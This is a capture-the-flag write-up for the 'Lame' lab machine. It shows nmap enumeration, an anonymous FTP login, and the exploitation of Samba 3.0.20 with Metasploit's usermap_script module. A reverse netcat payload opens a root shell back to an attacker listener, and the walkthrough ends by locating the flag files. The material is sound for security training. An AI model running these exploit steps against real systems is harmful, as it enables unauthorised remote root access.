# Lame

Let's start with enumerating services ignoring host discovery with simple nmap command.

```
└─$ nmap -sV -Pn 10.129.62.153
Starting Nmap 7.93 ( https://nmap.org ) at 2023-11-23 08:12 CST
Nmap scan report for 10.129.62.153
Host is up (0.035s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 2.3.4
22/tcp  open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
```

We were able to access FTP shares with unsecured anonymous user, but nothing seems to be there.

```
└─$ ftp anonymous@10.129.62.153
Connected to 10.129.62.153.
220 (vsFTPd 2.3.4)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||15782|).
150 Here comes the directory listing.
226 Directory send OK.
```

Seems like Samba is going to be our target. Let's check it's version using Metasploit so we know what possibilities we have for exploits.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
```

```
msf6 > search smb_version

Matching Modules
================

   #  Name                                Disclosure Date  Rank    Check  Description
   -  ----                                ---------------  ----    -----  -----------
   0  auxiliary/scanner/smb/smb_version                    normal  No     SMB Version Detection


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/scanner/smb/smb_version

msf6 > use 0
msf6 auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb_version):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   THREADS  1                yes       The number of concurrent threads (max one per host)


View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 10.129.62.153
RHOSTS => 10.129.62.153
msf6 auxiliary(scanner/smb/smb_version) > exploit

[*] 10.129.62.153:445     - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 10.129.62.153:445     -   Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 10.129.62.153:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Samba version running on that host is 3.0.20.

```
msf6 > search samba 3.0.20

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  exploit/multi/samba/usermap_script    2007-05-14       excellent  No     Samba "username map script" Command Execution
```

It seems like we have only one option so let's of course try it.

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    139              yes       The target port (TCP)


Payload options (cmd/unix/reverse_netcat):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.0.2.15        yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Set all required options, and run exploit.

```
msf6 exploit(multi/samba/usermap_script) > set RHOSTS
RHOSTS ⇒
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 10.129.62.153
RHOSTS ⇒ 10.129.62.153
msf6 exploit(multi/samba/usermap_script) > set LHOST 10.10.14.170
LHOST ⇒ 10.10.14.170
msf6 exploit(multi/samba/usermap_script) > exploit
```

That's it, as expected, Metasploit was able to get a shell.

```
[*] Started reverse TCP handler on 10.10.14.170:4444
[*] Command shell session 1 opened (10.10.14.170:4444 → 10.129.62.153:32876) at 2023-11-23 08:28:46 -0600

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
initrd.img.old
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
whoami
root
```

User and root flags can be found in following directories:

```
cd /home
ls
ftp
makis
service
user
cd makis
ls
user.txt
```

```
cd /root
ls
Desktop
reset_logs.sh
root.txt
vnc.log
```